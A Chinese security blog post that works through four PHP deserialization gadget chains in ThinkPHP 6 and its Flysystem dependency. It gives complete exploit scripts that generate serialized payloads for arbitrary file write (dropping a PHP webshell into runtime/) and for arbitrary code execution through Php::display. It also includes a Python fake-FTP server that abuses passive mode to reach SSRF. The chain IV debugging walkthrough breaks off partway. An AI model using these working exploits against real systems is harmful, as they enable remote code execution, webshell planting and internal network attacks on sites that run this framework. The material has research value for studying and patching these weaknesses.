漏洞挖掘 - thinkphp6序列化链(一)

Posted by morouu on 2022-01-20
Estimated Reading Time 31 Minutes
Words 7.1k In Total
Viewed Times

漏洞挖掘 - thinkphp6序列化链(一)


- 前言 -

这两天一直在跟好兄弟WaY搞php免杀🐎绕过,虽然说学到了不少新特性啥的,就是没怎么进行对以前知识的总结了,对此很是惭愧(没想到去年无聊找的另类参数传入方式竟然起了奇效),那么现在该静下心稍微总结一些 thinkphp6 的一些序列化链条吧,没准以后会用得上。

- 目的 -

说到 thinkphp6 的序列化链条,如果是为了能够进行任意代码执行,其最后都是为了同一个目标,那就是找到形如 [可控](可控) 的动态函数调用形式,并且第一个可控的内容必须是数组。因为在 thinkphp6 中,或许可以说是几乎所有版本的 thinkphp 中都有 Php 这个类,而在这个 Php 类中,拥有一个名为 display 的方法👇

image-20220118142905915

所以说,能够达到 [可控](可控)[可控](可控,可控) 的形式即是能够进行任意代码执行的关键。

不过事实上这只是为了单纯执行任意代码的角度来看,实际能够进行一些其他间接执行任意代码的方式也是可以的,比如文件写入,文件包含之类的。

那么下面不妨就根据序列化链条的路口作为大类接着各个链条来分析说明。

- 入口一 -

首先还是万能开头 __destruct 方法作为入口,这里选的是在 vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 文件中 AbstractCache 抽象类的 __destruct 方法,显然 $this->autosave 是可控的👇

image-20220118144625066

其中 AbstractCache 是一个实现了 CacheInterface 接口的抽象类👇

image-20220118144736322

接下来全局搜索实现了这个 AbstractCache 抽象类的子类,并且着重观察每一个的 save 方法,实际上这里是可以衍生出许多链条的👇

image-20220118150658185

接下来即是对这个入口能达成的各个链条具体分析了。

- 链条I (任意文件写入) -

- 终点 -

最终可写入任意文件形式的调用在 vendor/league/flysystem/src/Adapter/Local.php 文件中 Local 类的 write 方法里👇

image-20220118151118450

- 分析 -

这里来看实现 AbstractCache 抽象类存在 vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php 文件中的 Adapter 子类,其 save 方法中有一个 $this->[可控]->write(可控,可控,{Config}可控) 的形式 👇

image-20220118151918144

不妨对这个方法的各个语句进行分析,其中 $config = new Config() 这条语句是实例化了 Config 类,而跟进这个类可以发现 Config 类的构造方法仅仅是为自己的属性进行初始化罢👇

image-20220118152225898

再看 $contents = $this->getForStorage() 这条语句,跟进 getForStorage 方法,会将自身的 cache 属性作为参数去调用自身 cleanContents 方法,再把得到的值与自身的 complete 以及 expire 属性合并成一个数组并打包返回其的一串json字符👇

image-20220118175459812

由此跟进 cleanContents 方法,这里假设将其 cache 属性通过序列化控制成 空数组 ,其实也就和 $cleaned = [] 没啥两样了👇

image-20220118153039797

实际上 cache 属性默认值是为 空数组的 👇

image-20220118174848719

再回到 save 方法,继续看下一条语句,即条件判断 if($this->adapter->has($this->file)) ,显然 $this->file 是可控的且为了达成终点,这里的 $this->adapter 的值必须控制为 Local 类,由此跟进 Local 类查看其 has 方法👇

image-20220118154305920

看起来仅是对传入的内容做一个该路径是否存在文件的判断,为了能让其执行 $this->adapter->write($this->file, $contents, $config) ,只需要传入一个文件不存在的文件名即可。其实即便是传入的文件名存在也仅是执行了 $this->adapter->update($this->file, $contents, $config) ,这个 update 方法本质上和 write 方法都可实现同一个目标,也就是说都可以进行任意文件写入👇

image-20220118154745334

不过一般来说如果要写入文件就是因为文件不存在所以才要写嘛,这里就选择 write 方法了👇

image-20220118155407712

这一看一下就明了了,不过如果说为了保险继续跟进 ensureDirectory 方法,可以发现只不过是在写入文件前进行的一个目录创建👇

image-20220118155606795

由此整条任意写入文件的链条就结束了,这条链是非常简短的,以下是该链条的简单类示意👇

1
2
3
4
5
6
7
8
9
10
11
12
13

abstract class AbstractCache implements CacheInterface{}
👇
public function __dustrcut(){}
👇
class Adapter extends AbstractCache{}
👇
public function save(){}
👇
class Local extends AbstractAdapter{}
👇
public function write($path, $contents, Config $config){}

- exp&动调 -

先上 exp 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

namespace League\Flysystem{
interface ReadInterface{}
interface AdapterInterface{}
}
namespace League\Flysystem\Cached{
use League\Flysystem\ReadInterface;
interface CacheInterface extends ReadInterface{}
}

namespace League\Flysystem\Adapter{
use League\Flysystem\AdapterInterface;
abstract class AbstractAdapter implements AdapterInterface{}
class Local extends AbstractAdapter{}
}

namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Cached\CacheInterface;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache implements CacheInterface{
protected $autosave = false;
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
protected $expire;
function __construct($file,$contents){
$this->adapter = new Local;
$this->file = $file;
$this->expire = $contents;
}
}
}


namespace{
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(base64_encode(serialize(new Adapter('../runtime/log/a.php','<?php phpinfo(); ?>'))));
}

thinkphp 中, runtime 是可以任意写的,也就可以把🐎写到那儿。

那么接下来对 exp 进行调试分析,先是入口处👇

image-20220118200547395

继续跟进 League\Flysystem\Cached\Storage\Adapter 类的 save 方法,先是获取一个 Config 的实例👇

image-20220118201207172

接着调用 getForStorage 方法,跟进它👇

image-20220118201600837

继续跟进 has 方法,此时来到 League\Flysystem\Adapter\Local 类👇

image-20220118202328414

显然,这个文件肯定是不存在的,那么下一步即是执行到对 write 方法的调用了,此时 $config 以及 $contents 变量的值为👇

image-20220118202542018

继续跟进 League\Flysystem\Adapter\Local 类的 write 方法👇

image-20220118203023431

此时再检查一下目录,可以发现确实是有相应的文件被写入👇

image-20220118203212368

链条I的分析先到这里。

- 调用栈 -

  • Local.php:135, League\Flysystem\Adapter\Local->write()
  • Adapter.php:112, League\Flysystem\Cached\Storage\Adapter->save()
  • AbstractCache.php:31, League\Flysystem\Cached\Storage\Adapter->__destruct()

- 扩展 -

另外,由于这是一个几乎完全可控的 file_put_contents 函数,假若能够配合外网的 fakeftp 服务就可以达到无回显的 SSRF ,不过有一点需要注意,就是这个 fakeftp 服务必须在对 file_exists 函数进行判断是回应文件是存在的,否则会在新建目录那里抛出错误。

不妨先监听查看一下在执行 file_exists 函数时,对 ftp 的交互内容👇

image-20220120152540578

根据上面的交互内容,实际上只需要回应以下内容即可👇

  • 220 \r\n
  • 331 \r\n
  • 230 \r\n
  • 550 \r\n
  • 200 \r\n
  • 213 \r\n
  • 213 \r\n

可以模拟一下交互👇

image-20220120153206847

可以看到是成功的让 file_exists 函数返回 true ,然后是如何进行 SSRF

总所周知,在 ftp 协议中主要分为 主动模式被动模式 两种模式。 其中,以传输文件为例(也就是该题所使用的原理), 主动模式 为客户端和服务端在通过首次连接协商好客户端开放一个端口,然后服务端起一个额外的连接去连接客户端开放的端口,客户端开放的那一个端口得到服务端的连接后就会将文件内容通过这个端口传输到服务端上。服务端起的这一个额外连接和客户端与服务端的首次连接互不影响。

被动模式 则与 主动模式 相反,当客户端首次连接服务端会给服务端协商好一个端口,服务端会额外开放该端口,然后客户端会连接服务端额外开放的端口并从这个端口将文件内容传输到服务端上。同样的,这个额外的文件传输连接与客户端和服务端的首次连接互不影响。

正因如此,也就存在一个小的缺陷,假设咱们能够伪造一个 ftp服务器 ,并在某个客户端与其第一次连接时告诉客户端使用 被动模式 ,然后将传输的 IP端口 分别回应成 127.0.0.1 以及 [任意端口] ,那么客 户端就会向自己的 [任意端口] 端口发送传输文件的内容。这实际上如果客户端传输的内容可控,也就算得上是一个无回显可控的 gopher 协议了。

至于交互的内容就不监听分析了,比方说这里想对 7000 端口实施 SSRF 👇

  • 220 \r\n
  • 331 \r\n
  • 230 \r\n
  • 220 \r\n
  • 550 \r\n
  • 227 (127.0.0.1,27,88)\r\n
  • 227 (127.0.0.1,27,88)\r\n
  • 150 \r\n

以及具体的脚本👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from socket import socket, AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR


def FTP(host, recv, getLen):
print("==== start listen ====")
so = socket(AF_INET, SOCK_STREAM)
so.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
so.bind(host)
so.listen(1)
conn, addr = so.accept()
catch = b""
for line in recv:
print(b"Send -> " + line)
conn.send(line)
if catch.startswith(b"MDTM") or line.startswith(b"150"):
break
catch = conn.recv(getLen)
print(catch)
print("==== end ====")
so.close()


if __name__ == '__main__':
host = ("0.0.0.0", 2335)
getLen = 65535
# 第一部分 -> fileExists
# 220 服务就绪
# 331 用户名正确,需要密码
# 230 用户已登录
# 550 未执行请求的操作
# 200 确认操作
# 213 文件状态
# 213 文件状态
fileExists_recv = [
b"220 \r\n",
b"331 \r\n",
b"230 \r\n",
b"550 \r\n",
b"200 \r\n",
b"213 \r\n",
b"213 \r\n",
]
FTP(host,fileExists_recv,getLen)
# 第二部分 -> fakeFTP
# 220 服务就绪
# 331 用户名正确,需要密码
# 230 用户已登录
# 550 未执行请求的操作
# 227 使用被动模式 格式为 (IP,端口 = (16^2)*27 + (16^0)*88 = 7000)
# 150 文件状态正常,准备打开数据连接
fakeFTP_recv = [
b"220 \r\n",
b"331 \r\n",
b"230 \r\n",
b"220 \r\n",
b"550 \r\n",
b"227 (127,0,0,1,27,88)\r\n",
b"227 (127,0,0,1,27,88)\r\n",
b"150 \r\n",
]
FTP(host, fakeFTP_recv, getLen)

此时模拟一下整个操作流程,也就是先 file_exists 判断文件是否存在,若存在则调用 file_put_contents 函数( ssrf.php 文件)👇

1
2
3
<?php
file_exists("ftp://127.0.0.1:2335/any");
file_put_contents("ftp://127.0.0.1:2335/any","[SSRF SUCCESS]");

以下为执行后的效果👇

image-20220120154712504

可见是成功对 7000 端口进行了 SSRF ,不妨将其放到 thinkphp 中进行尝试👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

namespace League\Flysystem{
interface ReadInterface{}
interface AdapterInterface{}
}
namespace League\Flysystem\Cached{
use League\Flysystem\ReadInterface;
interface CacheInterface extends ReadInterface{}
}

namespace League\Flysystem\Adapter{
use League\Flysystem\AdapterInterface;
abstract class AbstractAdapter implements AdapterInterface{}
class Local extends AbstractAdapter{}
}

namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Cached\CacheInterface;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache implements CacheInterface{
protected $autosave = false;
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
protected $expire;
function __construct($file,$contents){
$this->adapter = new Local;
$this->file = $file;
$this->expire = $contents;
}
}
}


namespace{
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(base64_encode(serialize(new Adapter('ftp://127.0.0.1:2335/any',"\r\n [SSRF SUCCESS] \r\n\x00"))));
}

以及效果👇

image-20220120155202281

可以看到由于写入的数据是先由 json_encode 函数变为 json 字符再进行写入的,所以效果并不是很好,并且不能够进行 换行 ,这显然是最为致命的。不过这确实是可以证明如果有一个 file_put_contents(可控,可控) 的形式是完全可以进行 SSRF 的。


- 链条II (任意代码执行) -

- 终点 -

最终形如 [可控](可控) 的调用在 vendor/topthink/framework/src/think/cache/Driver.php 文件中 Driver 抽象类的 serialize 方法里👇

image-20220118221934651

- 分析 -

先来看实现 AbstractCache 抽象类存在 vendor/league/flysystem-cached-adapter/src/Storage/Memcached.php 文件中的 Memcached 子类,其 save 方法拥有一个 $this->[可控]->set(可控,基本可控,{数值型}可控) 的形式👇

image-20220118233213626

显然 $expiration = this->expire === null ? 0 : time() + $this->expire 这条语句返回得到一个数值型,为了保险起见,不妨跟进一下 getForStorage 方法👇

image-20220118233617760

这个 getForStorage 方法和上面的差不多的,不过这里应该以 complete 属性作为可控值下手,并且由于 cache 属性的默认值依旧是空数组,所以无需管它👇

image-20220118233807342

回过头来再看 set 方法,至于为什么要选择这个拥有3个传入参数的 set 方法,是因为对其的调用即是能否走向 [可控](可控) 形式的关键。事实上还有一个 vendor/topthink/framework/src/think/filesystem/CacheStore.php 文件的 CacheStore 类也是存在3个传入参数的 set 方法的,也可以从 CacheStore 类进入👇

image-20220119130620347

那么继续全局搜索有关 set 方法的类,可以发现有不少,但在其中只有一些是符合这条链下半部分的👇

image-20220118223410034

这里不妨以存在 vendor/topthink/framework/src/think/cache/driver/File.php 文件中的 File 类里的 set 方法为例👇

image-20220118224010800

由于最终传入 serialize 方法的参数内容来自基本可控的 $value 变量,因此上边对 getExpireTime 以及 getCacheKey 方法调用得到的返回值并不关键。不过为了保险起见还是依次跟进 getExpireTimegetCachceKey 方法以免种种原因导致抛出错误的发生👇

image-20220118224328508

接着看 getCacheKey 方法👇

image-20220118224620083

同样也没有有关抛出错误的行为,那么就可以到达 serialize 方法了👇

image-20220118234228076

那么整条任意代码执行的链条就结束了,这条链也是比较短的,并且可以从多个拥有可传入3个参数的 set 方法的类进入到 serialize 方法中,具体列出为👇

  • vendor/topthink/framework/src/think/cache/driver/File.php 文件中的 File 类里的 set 方法
  • vendor/topthink/framework/src/think/cache/driver/Memcache.php 文件中的 Memcache 类里的 set 方法
  • vendor/topthink/framework/src/think/cache/driver/Memcached.php 文件中的 Memcached 类里的 set 方法
  • vendor/topthink/framework/src/think/cache/driver/Redis.php 文件中的 Redis 类里的 set 方法
  • vendor/topthink/framework/src/think/cache/driver/Wincache.php 文件中的 Wincache 类里的 set 方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

abstract class AbstractCache implements CacheInterface{}
👇
public function __dustrcut(){}
👇
class Memcached extends AbstractCache{}
👇
public function save(){}
👇
class File extends Driver{}
👇
public function set($name, $value, $expire = null){}
👇
abstract class Driver implements CacheInterface, CacheHandlerInterface{}
👇
protected function serialize($data){}
👇
class Php implements TemplateHandlerInterface{}
👇
public function display(string $content, array $data = []){}

- exp&动调 -

这个 expFile 类为例👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

namespace League\Flysystem{
interface ReadInterface{}
}
namespace League\Flysystem\Cached{
use League\Flysystem\ReadInterface;
interface CacheInterface extends ReadInterface{}
}
namespace think\contract{
interface CacheHandlerInterface{}
interface TemplateHandlerInterface{}
}
namespace Psr\SimpleCache{
interface CacheInterface{}
}
namespace think\cache{
use think\contract\CacheHandlerInterface;
use Psr\SimpleCache\CacheInterface;
abstract class Driver implements CacheInterface, CacheHandlerInterface{
protected $options;
}
}
namespace think\view\driver{
use think\contract\TemplateHandlerInterface;
class Php implements TemplateHandlerInterface{}
}
namespace think\cache\driver{
use think\cache\Driver;
use think\view\driver\Php;
class File extends Driver{
function __construct(){
$this->options = [
'hash_type'=>'md5',
'cache_subdir' => false,
'prefix' => false,
'path' => '',
'serialize'=>[[new Php,'display']]
];
}
}
}

namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Cached\CacheInterface;
use think\cache\driver\File;
abstract class AbstractCache implements CacheInterface{
protected $autosave = false;
protected $complete;
}
class Memcached extends AbstractCache{
protected $memcached;
protected $key = '';
function __construct($code){
$this->memcached = new File;
$this->complete = "<?php ".$code."?>";
}
}
}


namespace{
use League\Flysystem\Cached\Storage\Memcached;
echo urlencode(base64_encode(serialize(new Memcached('phpinfo();'))));
}

这次对 exp 动调的入口就从 League\Flysystem\Cached\Storage\Memcached 类的 save 方法开始吧👇

image-20220118235331584

继续跟进 getForStorage 方法👇

image-20220118235426241

再下一步即是调用 think\cache\driver\File 类的 set 方法了,先看此时各个参数的情况👇

image-20220118235700206

继续跟进 think\cache\driver\File 类的 set 方法👇

image-20220118235926269

由于前两个 getExpireTimegetCacheKey 的调用实际上与该链条的最终达成无关,就不跟进调试,这里直接看通过这两个方法后得到的变量值👇

image-20220119000152841

再跟进 serialize 方法,这是在调用 think\view\driver\Php 类的 display 方法前各个变量的值👇

image-20220119000542374

接着来到 think\view\driver\Php 类的 display 方法👇

image-20220119000750059

最后看一下浏览器,可以发现 phpinfo(); 被成功地执行了👇

image-20220119000948449

链条II分析就先到此结束了。

- 调用栈 -

  • Php.php:103, think\view\driver\Php->display()
  • Driver.php:243, think\cache\driver\File->serialize()
  • File.php:171, think\cache\driver\File->set()
  • Memcached.php:57, League\Flysystem\Cached\Storage\Memcached->save()
  • AbstractCache.php:31, League\Flysystem\Cached\Storage\Memcached->__destruct()

- 入口二 -

还是从 __destruct 方法开始,不过这次选择的是 vendor/topthink/think-orm/src/Model.php 文件中的 Model 抽象类,显然 $this->lazySave 是可控的👇

image-20220119131558762

那么往下全局搜索实现了 Model 这个抽象类的子类👇

image-20220119131720816

此时仅有 vendor/topthink/think-orm/src/model/Pivot.php 文件中的 Pivot 类实现了 Model 抽象类,因此在写序列化 payload 时需要以 Pivot 类作为入口。

先回到其 save 方法,这里要求至少要调用 updateDatainsertData 方法👇

image-20220119151234339

先跟进 setAttrs 方法,此时由于调用 save 方法时传入的是空参数,所以会用 save 方法的默认参数;而 save 方法的 $data 默认参数值为空数组,也就会将空数组传入 setAttrs 方法👇

image-20220119151546077

可以看到 setAttrs 方法相当于什么也没做,接着再往下看 isEmptytrigger 方法,并且需要使得 if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) 这个条件不成立。也就是说需要让 isEmpty 方法返回 false 型而 trigger 方法返回 true 型👇

image-20220119152114024

再来看 trigger 方法👇

image-20220119152208705

由此上边两个方法的条件就可以绕过去了,再看 updateDatainsertData 方法,由于无论调用这两个方法中的哪一个都能到达目的,这里就着重对 updateData 方法进行分析👇

image-20220119153520387

由于上面已经使 tirgger 方法返回值为 true 型,所以第一个条件可以忽略,直接先来看对 checkData 方法的调用👇

image-20220119153725564

可以看到默认是啥也没有,也可以直接跳过,再来看对 getChangedData 方法的调用👇

image-20220119154157886

data 在上面已经被构造成非空的任意值,所以有关 if (empty($data)) 条件是不会往下执行的,因此这个 getChangedData 方法只需要将里面的 force 以及 readonly 分别构造成 true空数组 即可,不需要管 data 属性的值。

然后对于 if ($this->autoWriteTimestamp && $this->updateTime) 这个条件,也只需要将 autoWriteTimestampupdateTime 属性控制成 false 就行了👇

image-20220119154547153

接着,来到关键点,即是对 checkAllowFields 方法的调用👇

image-20220119155010054

此时只要将 tablesuffix 的值控制成一个类,也就可以进入到那一个类的 __toString 方法了。以上也就为对入口二的分析。

- 链条III (任意代码执行) -

- 终点 -

最终形如 [可控](可控,可控) 的形式在 vendor/topthink/think-orm/src/model/concern/Attribute.php 文件 Attribute Trait的 getJsonValue 方法中👇

image-20220119161959682

- 分析 -

由于上面的入口起点是 __toString 方法,这里直接来到 vendor/topthink/think-orm/src/model/concern/Conversion.php 文件中 Conversion Trait的 __toString 方法👇

image-20220119162647273

跟进 toJson 方法,可以看到是一个有关json字符的处理,并且在处理过程中调用了 toArray 方法👇

image-20220119162747539

跟进 toArray 方法,其中需要到达 $item[$key] = $this->getAttr($key); 这条语句👇

image-20220119163452461

也就是说必须将 visible 控制成一个和 datarelation 属性同键名的数组,且该键名将作为可控值传入 getAttr 方法。

继续跟进 getAttr 方法👇

image-20220119163856372

由于 $value 变量的值来自 getData 方法,那么跟进 getData 方法👇

image-20220119164614409

直接来看 getRealFieldName 方法的内容👇

image-20220119164756016

只要让 convertNameToCamelstrict 属性的值分别为 falsetrue 即可让这个方法啥也不做直接返回传入的参数值了。也就是说现在只要将 data 属性的键名控制成和 $name 参数的一致即可返回任意值,意思是 $value 这个变量是完全可控的,此时再将跟进 getValue 方法👇

image-20220119165815150

显然上面已经对 getRealFieldName 方法做了分析,这时就相当于返回传入的参数值,那么 $fieldName 变量便相当于传入的 $name 参数,然后在将 withAttr 数组属性控制成包含有 $name 参数值的键名且对应键值要为数组,以及 json 数组属性的键值包含有 $name 参数的值后就可以到达关键的调用了👇

image-20220119170529544

整条任意代码执行的链条就结束了,以下是该链条的简单类示意👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
👇
public function __destruct(){}
👇
public function save(array $data = [], string $sequence = null){}
👇
protected function updateData(){}
👇
protected function checkAllowFields(){}
👇
trait Conversion{}
👇
public function __toString(){}
👇
public function toJson(int $options = JSON_UNESCAPED_UNICODE){}
👇
public function toArray(){}
👇
trait Attribute{}
👇
public function getAttr(string $name){}
👇
protected function getValue(string $name, $value, $relation = false){}
👇
protected function getJsonValue($name, $value){}
👇
class Php implements TemplateHandlerInterface{}
👇
public function display(string $content, array $data = []){}

- exp&动调 -

这个 exp 会比较长👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

namespace think\contract{
interface Arrayable{}
interface Jsonable{}
}

namespace think\model\concern{
trait Attribute{
private $data;
private $withAttr;
protected $json;
protected $jsonAssoc = true;
}
trait ModelEvent{
protected $withEvent = false;
}
trait Conversion{
protected $visible;
protected $convertNameToCamel = false;
}
}
namespace think\contract{
interface TemplateHandlerInterface{}
}
namespace think\view\driver{
use think\contract\TemplateHandlerInterface;
class Php implements TemplateHandlerInterface{}
}
namespace think{

use JsonSerializable;
use ArrayAccess;
use think\contract\Arrayable;
use think\contract\Jsonable;

use think\view\driver\Php;

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{

use model\concern\Attribute;
use model\concern\ModelEvent;
use model\concern\Conversion;

private $lazySave = true;
private $exists = true;
private $force = true;
protected $table;

public function jsonSerialize(): mixed{}

public function offsetExists($offset): bool{}
public function offsetGet($offset): mixed{}
public function offsetSet($offset,$value): void{}
public function offsetUnset($offset): void{}

function __construct($code){
$this->data = ['a'=>['1'=>'<?php '.$code.' ?>']];
$this->withAttr = ['a'=>['1'=>[new Php,"display"]]];
}


}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($code){
parent::__construct($code);
$this->visible=['a'=>null];
$this->json = ['a'];
$this->table = $this;
}
}
}

namespace{

use think\model\Pivot;
echo urlencode(base64_encode(serialize(new Pivot('phpinfo();'))));
}

那么继续对 exp 进行动调,这次从入口处开始👇

image-20220119193448255

跟进 think\Model 抽象类 save 方法👇

image-20220119193955487

跟进 setAttrs 方法👇

image-20220119194126959

接着是 isEmpty 方法👇

image-20220119194257312

还有 trigger 方法👇

image-20220119194437008

由于 isEmpty 方法返回 falsetrigger 方法返回 true ,那么就可以直接跳到下一条语句👇

image-20220119194626755

继续跟进 updateData 方法👇

image-20220119195013398

那么依次进行分析,由于 checkData 方法默认是空着的,先跟进 getChangedData 方法👇

image-20220119195414740

接着看 if (empty($data)) 这一步👇

image-20220119195513574

然后到 if ($this->autoWriteTimestamp && $this->updateTime) 这条语句 👇

image-20220119195711044

此时就到调用 checkAllowFields 关键方法的部分了,跟进 checkAllowFields 方法👇

image-20220119200128613

下一步即是跟进 __toString 方法了,来看 think\model\concern\Conversion Trait的 __toString 方法👇

image-20220119200441302

再跟进 toJson 方法👇

image-20220119200608474

继续跟进 toArray 方法👇

image-20220119201119284

先看 foreach ($this->visible as $key => $val) 语句👇

image-20220119201309957

接着看 foreach ($this->hidden as $key => $val) 语句👇

image-20220119201419058

此时来到 $data = array_merge($this->data, $this->relation) 语句👇

image-20220119201704982

最后到关键语句的执行👇

image-20220119202341237

那么继续跟进 getAttr 方法👇

image-20220119202745390

先看 getData 方法👇

image-20220119203058502

跟进 getRealFieldName 方法👇

image-20220119203324080

接着往下看👇

image-20220119204131327

在调用 getValue 方法前各个参数的值👇

image-20220119204240782

跟进 getValue 方法👇

image-20220119204743230

此时一步步跟进,显然 get 属性并不存在 $fieldName 的键名👇

image-20220119204931425

接着是 if (isset($this->withAttr[$fieldName])) 语句👇

image-20220119205436791

然后是 if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) 语句👇

image-20220119205833804

在调用 getJsonValue 方法前可以先看一下 $fieldName$value 的值👇

image-20220119205948679

跟进 getJsonValue 方法👇

image-20220119210458198

最后跟进 Php 类的 display 方法,这是最终到达的值👇

image-20220119210656256

此时看一下浏览器,可以发现 phpinfo(); 被成功执行👇

image-20220120142914229

以上为对链条III的分析。

- 调用栈 -

  • Php.php:103, think\view\driver\Php->display()
  • Attribute.php:535, think\model\Pivot->getJsonValue()
  • Attribute.php:494, think\model\Pivot->getValue()
  • Attribute.php:465, think\model\Pivot->getAttr()
  • Conversion.php:234, think\model\Pivot->toArray()
  • Conversion.php:320, think\model\Pivot->toJson()
  • Conversion.php:325, think\model\Pivot->__toString()
  • Model.php:564, think\model\Pivot->checkAllowFields()
  • Model.php:614, think\model\Pivot->updateData()
  • Model.php:535, think\model\Pivot->save()
  • Model.php:1059, think\model\Pivot->__destruct()

- 链条IV (任意代码执行) -

- 终点 -

最终形如 [可控](可控,可控) 的形式在 vendor/topthink/framework/src/think/Validate.php 文件 Validate 类的 is 方法中👇

image-20220120125301644

- 分析 -

那么这里直接由 __toString 方法作为入口了,看 vendor/topthink/framework/src/think/route/Url.php 文件 Url 类中的 __toString 方法👇

image-20220120125607738

跟进 build 方法👇

image-20220120130737944

这么一看就一目了然了,这里只需要将 url 属性构造成 a: 或直接单纯的 '' 就能到达关键部分,之后就可以得到形如 $this->[可控]->[不可控]([字符型]可控) 的形式了。

接下来需要全局搜索 __call 方法的类,而 vendor/topthink/framework/src/think/Validate.php 文件中的 __call 方法正是关键👇

image-20220120131314642

直接跟进 is 方法👇

image-20220120131803255

不妨跟进 Str::camel 方法👇

image-20220120132722422

经过这个 Str::camel 方法处理后,实际上传入的 getDomainBind 值根本就没有发生变化,即得到的值依旧为 getDomainBind 所以下面的一群 case 是没有一个符合的,会直接跳到 default 部分。此时再满足 type 数组属性存在 $rule 参数值的键名即可来到关键的 $result = call_user_func_array($this->type[$rule], [$value]); 语句,之后就是很传统的调用 Php 类的 Display 方法了。

以下是该链条的简单类示意👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{}
👇
public function __destruct(){}
👇
public function save(array $data = [], string $sequence = null){}
👇
protected function updateData(){}
👇
protected function checkAllowFields(){}
👇
class Url{}
👇
public function __toString(){}
👇
public function build(){}
👇
class Validate{}
👇
public function __call($method, $args){}
👇
public function is($value, string $rule, array $data = []){}
👇
class Php implements TemplateHandlerInterface{}
👇
public function display(string $content, array $data = []){}

- exp&动调 -

先上 exp 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php

namespace think\contract{
interface Arrayable{}
interface Jsonable{}
}

namespace think\model\concern{
trait Attribute{
private $data=[7];
}
trait ModelEvent{
protected $withEvent = false;
}
}

namespace think\route{

use think\Validate;

class Url{
protected $url="a:";
protected $route;
protected $domain;
protected $app;

function __construct($code){
$this->domain = '<?php '.$code.' ?>';
$this->route = new Validate;
$this->request = null;
$this->app=$this;
}
}
}

namespace think\contract{
interface TemplateHandlerInterface{}
}
namespace think\view\driver{
use think\contract\TemplateHandlerInterface;
class Php implements TemplateHandlerInterface{}
}
namespace think{

use JsonSerializable;
use ArrayAccess;
use think\contract\Arrayable;
use think\contract\Jsonable;

use think\view\driver\Php;

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{

use model\concern\Attribute;
use model\concern\ModelEvent;

private $lazySave = true;
private $exists = true;
private $force = true;
protected $table;

public function jsonSerialize(): mixed{}

public function offsetExists($offset): bool{}
public function offsetGet($offset): mixed{}
public function offsetSet($offset,$value): void{}
public function offsetUnset($offset): void{}

}

class Validate{
protected $type;
function __construct(){
$this->type = ["getDomainBind"=>[new Php,"display"]];
}
}
}

namespace think\model{
use think\Model;
use think\route\Url;
class Pivot extends Model{
function __construct($code){;
$this->table = new Url($code);
}
}
}

namespace{

use think\model\Pivot;
echo urlencode(base64_encode(serialize(new Pivot('phpinfo();'))));
}

接下来对 exp 进行动调,入口从 think\route\Url 类的 __toString 方法开始👇

image-20220120135831752

跟进 build 方法,先是有关 if (0 === strpos($url, '[') && $pos = strpos($url, ']')) 语句👇

image-20220120140042041

接着是 if (false === strpos($url, '://') && 0 !== strpos($url, '/')) 语句👇

image-20220120140159896

然后是 $url = !empty($info['path']) ? $info['path'] : ''; 语句👇

image-20220120140402285

之后由于 $url 变量值为 '' ,这条 if ($url) 条件可以直接跳过👇

image-20220120140530489

再往下看 if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) 以及 elseif (!empty($rule) && isset($name)) 这两个条件,显然 $rule 未被定义,也就是空的,这两个条件部分也可以直接跳过👇

image-20220120140714407

最后是在调用 getDomainBind 方法前的参数👇

image-20220120140859281

跟进 think\Validate 类的 __call 方法👇

image-20220120141159796

继续看 is 方法👇

image-20220120141346363

跟进 Str::camel 方法,可以看到传入的 $rule 参数是原样的返回了👇

image-20220120141602491

